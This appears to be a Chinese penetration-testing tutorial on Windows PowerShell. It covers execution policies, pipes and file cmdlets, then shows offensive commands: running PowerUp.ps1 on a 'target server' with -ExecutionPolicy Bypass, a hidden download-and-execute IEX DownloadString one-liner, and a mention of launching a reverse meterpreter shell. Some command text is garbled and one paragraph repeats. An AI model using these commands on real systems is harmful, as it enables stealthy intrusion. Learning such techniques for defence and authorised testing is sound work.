内网渗透测试基础——Windows PowerShell篇

简介: 内网渗透测试基础——Windows PowerShell篇

内网渗透测试基础——Windows PowerShell篇

  1. Windows PowerShell基础
    Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在每个受支持的Windows版本中(Windows7、Windows Server 2008 R2及更高版本),为Windows命令行使用者和脚本编写者利用.NET Framework的强大功能提供了便利。只要可以在一台计算机上运行代码,就可将PowerShell脚本文件(.ps1)下载到磁盘中执行(甚至无须将脚本文件写到磁盘中)。也可以把PowerShell看作命令提示符cmd.exe的扩展。

PowerShell需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有Shell之首。PowerShell的这些特点,使它逐渐成为一个非常流行且得力的安全测试工具。PowerShell具有以下特点。

  • 在Windows 7 以上版本的操作系统中是默认安装的。
  • 脚本可以在内存中运行,不需要写入磁盘。
  • 几乎不会触发杀毒软件。
  • 可以远程执行。
  • 目前很多工具都是基于PowerShell开发的。
  • 使Windows脚本的执行变得更容易。
  • cmd.exe的运行通常会被阻止,但是PowerShell的运行通常不会被阻止。
  • 可用于管理活动目录。

Windows操作系统所对应的PowerShell版本,如图所示。
image.png

可以输入“Get-Host"或者”$PSVersionTable.PSVERSION"命令查看PowerShell的版本,如图所示。

image.png

2. PowerShell的基本概念
1. .ps1文件
一个PowerShell脚本其实就是一个简单的文本文件,其扩展名为".ps1"。PowerShell脚本文件中包含一系列PowerShell命令,每个命令显示为独立的一行。

2. 执行策略
为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”。

如果PowerShell脚本无法运行,可以使用下面的cmdlet命令查询当前的执行策略。

  • Get-ExecutionPolicy。
  • Restricted: 脚本不能运行(默认设置)。
  • RemoteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书的签名的除外)。
  • AllSigned:仅当脚本由受信任的发布者签名时才能运行。
  • Unrestriced:允许所有脚本运行。

可以使用下面的cmdlet命令设置PowerShell的执行策略。

Set-ExecutionPolicy

3. 运行脚本
要想运行一个PowerShell脚本,必须输入完整的路径和文件名。例如,要运行脚本a.ps1,需要输入“C:\Scripts\a.ps1”。

一个例外情况是,如果PowerShell脚本文件刚好在系统目录中,在命令提示符后直接输入脚本文件名(例如“.\a.ps1")即可运行脚本。这与在Linux中执行Shell脚本的方法相同的。

4. 管道
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用“|”连接。我们通过一个例子来了解一下管道是如何工作的。执行如下命令,让所有正在运行的、名字以字符“p"开头的程序停止运行。

PS> get-process p* | stop-process

3. PowerShell的常用命令
1. 基础知识
在PowerShell下,类似cmd命令的命令叫做cmdlet命令。二者的命名规范一致,都采用”动词-名词“的形式,例如”New-Item"。动词部分一般为Add、New、Get、Remove、Set等。命令的别名一般兼容Windows Command和Liinux Shell,例如Get-Children命令在dir和ls下均可使用。另外,PowerShell命令不区分大小写。下面以文件操作为例,讲解PowerShell命令的基本用法。

  • 新建目录:New-Item whitecellclub-ItemType DIrectory。
  • 新建文件:New-Item light.txt–ItemTypeFile。
  • 删除目录:Remove-Item whitecellclub。
  • 显示文本内容:Get-Content test.txt。
  • 设置文本内容:Set-Content test.txt-Value “hello,world!"。
  • 追加内容:Add-Contentl light.txt-Value “i love you"。
  • 清除内容:Clear-Content test.txt。

2. 常用命令
在Windows终端提示符下输入”powershell“,进入PowerShell命令行环境。输入”help“命令即可显示帮助菜单,如图所示。
image.png

要想运行PowerShell脚本程序,必须使用管理员权限将策略从Restricted改成Unrestricted。

(1)绕过本地权限并执行

将PowerUp.ps1上传至目标服务器。在命令行环境下,执行如下命令,绕过安全策略,在目标服务器本地执行该脚本,如图所示。
image.png

PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.ps1

将同一个脚本上传到目标服务器中,在目标本地执行脚本文件,命令如下。

powershell.exe -exec bypass -Command “& {
   Import-Module C:\PowerUp.ps1;Invoke-AllChecks}

(2)从网站服务器中下载脚本,绕过本地权限并隐藏执行

PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”);[Parameters]

使用PowerUp.ps1脚本在目标机器上执行meterpreter Shell。在这里,我们需要知道使用的参数是什么。最简单的方法是阅读PowerShell脚本的源码,获取并浏览Invoke-Shellcode.ps1文件,了解如何调用反向HTTPS meterpreter Shell。

3. 运行32位和64位PowerShell
一些PowerShell脚本只能运行在指定的平台上。例如64位的平台上,需要通过64位的PowerShell脚本来运行命令。在64位的Windows操作系统中,存在两个版本的PowerShell,一个是x64版本的,另一个是x86版本的。这两个版本的执行策略不会互相影响,可以把它们看成两个独立程序。x64版本PowerShell的配置文件在%windir%\syswow64\WindowsPowerShell\v1.0\目录下。

运行32位PowerShell脚本,命令如下。

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass

运行64位PowerShell脚本, 命令如下。

%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

推荐一个PowerShell在线教程,[https://www.pstips.net/powershell-online-tutorials],有兴趣的可以自行研究。

hell.exe -NoP -NonI -W Hidden -Exec Bypass

推荐一个PowerShell在线教程,[ https://www.pstips.net/powershell-online-tutorials],有兴趣的可以自行研究。

相关文章
|
5月前
|
网络协议 测试技术 Linux
软件测试/测试开发|你不知道的Windows神操作
软件测试/测试开发|你不知道的Windows神操作
49 0
|
5月前
|
Linux 编译器 数据安全/隐私保护
Windows10 使用MSYS2和VS2019编译FFmpeg源代码-测试通过
FFmpeg作为一个流媒体的整体解决方案,在很多项目中都使用了它,如果我们也需要使用FFmpeg进行开发,很多时候我们需要将源码编译成动态库或者静态库,然后将库放入到我们的项目中,这样我们就能在我们的项目中使用FFmpeg提供的接口进行开发。关于FFmpeg的介绍这里就不过多说明。
243 0
|
1天前
|
XML 网络安全 数据格式
Kali渗透测试:Windows事件管理工具wevtutil的使用方法(一)
Kali渗透测试:Windows事件管理工具wevtutil的使用方法(一)
|
5月前
|
iOS开发 MacOS Windows
|
1天前
|
XML 网络安全 数据格式
Kali渗透测试:Windows事件管理工具wevtutil的使用方法(二)
Kali渗透测试:Windows事件管理工具wevtutil的使用方法(二)
10 0
|
1天前
|
存储 Linux 网络安全
Kali 渗透测试:Meterpreter在Windows系统下的使用
Kali 渗透测试:Meterpreter在Windows系统下的使用
11 0
|
4月前
|
消息中间件 Java RocketMQ
RocketMQ搭建并测试(windows)
RocketMQ搭建并测试(windows)
501 0
|
5月前
|
Linux iOS开发 MacOS
|
5月前
|
Windows
【vscode】 VsCode终端崩溃C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe已终止,退出代码:2
【vscode】 VsCode终端崩溃C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe已终止,退出代码:2
460 1
|
5月前
|
存储 Ubuntu Linux
windows可以安装Ubuntu,ubuntu上也可以安装Powershell
powerhsell除了可以在windows上使用外,还可以在Ubuntu上部署开发环境。下面介绍Ubuntu上安装powershell的方法。
140 0

相关课程

更多